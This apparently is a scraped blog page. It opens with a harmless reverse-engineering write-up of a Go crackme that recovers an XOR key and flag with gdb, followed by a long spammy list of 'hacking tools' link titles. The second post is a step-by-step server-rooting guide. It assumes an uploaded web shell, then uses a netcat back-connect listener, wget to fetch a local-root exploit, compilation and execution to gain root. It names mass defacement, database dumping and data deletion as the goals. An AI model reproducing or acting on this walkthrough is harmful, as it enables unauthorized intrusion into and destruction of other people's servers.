Sunday, January 28, 2024

inBINcible Writeup - Golang Binary Reversing

This file is an 32bits elf binary, compiled from go language (i guess ... coded by @nibble_ds ;)
The binary has some debugging symbols, which is very helpful to locate the functions and api calls.

GO source functions:
-  main.main
-  main.function.001

If the binary is executed with no params, it prints "Nope!", the bad guy message.

~/ncn$ ./inbincible 
Nope!

Decompiling the main.main function I saw two things:

1. The Argument validation: Only one 16 bytes long argument is needed, otherwise the execution is finished.

2. The key IF, the decision to dexor and print byte by byte the "Nope!" string OR dexor and print "Yeah!"


The incoming channel will determine the final message.


Dexor and print each byte of the "Nope!" message.


This IF, checks 16 times if the go channel reception value is 0x01, in this case the app show the "Yeah!" message.

Go channels are a kind of thread-safe queue, a channel_send is like a push, and channel_receive is like a pop.

If we fake this IF the 16 times, we got the "Yeah!" message:

(gdb) b *0x8049118
(gdb) commands
>set {char *}0xf7edeef3 = 0x01
>c
>end

(gdb) r 1234567890123456
tarting program: /home/sha0/ncn/inbincible 1234567890123456
...
Yeah!


Ok, but the problem is not in main.main, is main.function.001 who must sent the 0x01 via channel.
This function xors byte by byte the input "1234567890123456" with a byte array xor key, and is compared with another byte array.

=> 0x8049456:       xor    %ebp,%ecx
This xor,  encode the argument with a key byte by byte

The xor key can be dumped from memory but I prefer to use this macro:

(gdb) b *0x8049456
(gdb) commands
>i r  ecx
>c
>end
(gdb) c

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x12 18

The result of the xor will compared with another array byte,  each byte matched, a 0x01 will be sent.

The cmp of the xored argument byte,
will determine if the channel send 0 or 1


(gdb) b *0x0804946a
(gdb) commands
>i r al
>c
>end

At this point we have the byte array used to xor the argument, and the byte array to be compared with, if we provide an input that xored with the first byte array gets the second byte array, the code will send 0x01 by the channel the 16 times.


Now web have:

xorKey=[0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12]

mustGive=[0x55,0x75,0x44,0xb6,0x0b,0x33,0x06,0x03,0xe9,0x02,0x60,0x71,0x47,0xb2,0x44,0x33]


Xor is reversible, then we can get the input needed to dexor to the expected values in order to send 0x1 bytes through the go channel.

>>> x=''
>>> for i in range(len(xorKey)):
...     x+= chr(xorKey[i] ^ mustGive[i])
... 
>>> print x

G0w1n!C0ngr4t5!!


And that's the key :) let's try it:

~/ncn$ ./inbincible 'G0w1n!C0ngr4t5!!'
Yeah!

Got it!! thanx @nibble_ds for this funny crackme, programmed in the great go language. I'm also a golang lover.


Related articles


Snmpcheck


"snmpcheck is a free open source utility to get information via SNMP protocols. It works fine against Windows, Linux, Cisco, HP-UX, SunOS systems and any devices with SNMP protocol support. It could be useful for penetration testing or systems monitoring. snmpcheck has been tested on GNU/Linux, *BSD, Windows systems and Cygwin. snmpcheck is distributed under GPL license and based on Athena-2k script by jshaw. " read more...

Website: http://www.nothink.org/perl/snmpcheck


More information
  1. Hacking Tools For Windows Free Download
  2. Hacking Tools For Games
  3. Hack Tools Mac
  4. Hacking Tools Software
  5. Hacking Tools Hardware
  6. Hacking Tools Kit
  7. Pentest Tools Github
  8. Hacking Tools Windows
  9. Pentest Tools Alternative
  10. Physical Pentest Tools
  11. Hacker Search Tools
  12. Hacking Tools For Beginners
  13. Hack Tools Pc
  14. Hacker Tools For Pc
  15. Hack Tool Apk No Root
  16. Hacker Hardware Tools
  17. Nsa Hack Tools Download
  18. Pentest Tools Download
  19. Hack Tools Download
  20. Hacker Tools 2020
  21. World No 1 Hacker Software
  22. Hack Tools For Windows
  23. Hacking Tools Github
  24. What Is Hacking Tools
  25. Hack Rom Tools
  26. Hacker Tools For Windows
  27. Hack Tools Pc
  28. Hacker Tools Software
  29. Hack Tool Apk No Root
  30. Hacker Tools Linux
  31. Hacker Techniques Tools And Incident Handling
  32. Hackrf Tools
  33. Bluetooth Hacking Tools Kali
  34. Hacker Tools Github
  35. Underground Hacker Sites
  36. Hack Tools Download
  37. Pentest Tools Tcp Port Scanner
  38. Pentest Tools Tcp Port Scanner
  39. Hacking Tools Github
  40. Hack Tools For Windows
  41. Hack Tools For Windows
  42. Hacking Tools For Kali Linux
  43. Hacker Tools List
  44. Hacker Tools 2020
  45. Pentest Tools Github
  46. Hack Rom Tools
  47. Pentest Tools Apk
  48. Hacking Tools For Games
  49. Hacking Apps
  50. Bluetooth Hacking Tools Kali
  51. Hacker Tools Linux
  52. Hacker Tools For Pc
  53. Bluetooth Hacking Tools Kali
  54. Pentest Box Tools Download
  55. Easy Hack Tools
  56. Hacker Tools Windows
  57. Pentest Tools For Ubuntu
  58. Hack Tool Apk
  59. Pentest Tools Online
  60. Hacker Tools Mac
  61. Hacking Tools And Software
  62. Hacking Tools 2019
  63. Hack Tools Mac
  64. Best Hacking Tools 2020
  65. Hack Tools
  66. Hack Tools For Ubuntu
  67. Hacker Tools Github
  68. How To Install Pentest Tools In Ubuntu
  69. Hacking Tools Usb
  70. Hack Tools For Pc
  71. Best Pentesting Tools 2018
  72. What Is Hacking Tools
  73. Hacker Tools
  74. Pentest Tools Kali Linux
  75. Hack Tools
  76. Physical Pentest Tools
  77. Hacking Tools Kit
  78. Hacker Tools 2020
  79. Hacker Tools Free
  80. How To Hack
  81. Hacking Tools For Windows 7
  82. Hacking Tools Hardware
  83. Tools 4 Hack
  84. Pentest Tools Url Fuzzer
  85. Pentest Tools Android
  86. Hacker Search Tools
  87. Hacker
  88. Hacker Tools For Windows
  89. Hack Tools Download
  90. Hacking Tools Hardware
  91. Hacker
  92. Pentest Box Tools Download
  93. Pentest Tools Review
  94. Hacking Tools Name
  95. Hacker Hardware Tools
  96. Hack Website Online Tool
  97. Hacker Tools For Mac
  98. Hacking Tools Kit
  99. Nsa Hack Tools
  100. Hacking Tools Github
  101. Github Hacking Tools
  102. Hack Tools Download
  103. Hacker Tools Github
  104. Hacking Tools Kit
  105. Hacker Tools For Windows
  106. Pentest Tools Bluekeep
  107. Hacking Tools Pc
  108. Hack Tools Download
  109. Pentest Tools For Mac
  110. Hacking Tools For Windows
  111. Hacker Tools Online
  112. Hack Tools 2019
  113. Hackrf Tools
  114. Hacking Tools Mac
  115. Hack Tools Github
  116. Hacker Tools 2019
  117. Pentest Tools For Android
  118. Hacker Security Tools
  119. Hacking Tools
  120. Pentest Tools Review
  121. Pentest Tools Android
  122. Hacking Tools And Software
  123. Pentest Tools Alternative
  124. Pentest Tools Bluekeep

Saturday, January 27, 2024

HOW TO ROOT A SERVER? – SERVER ROOTING

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.
Related articles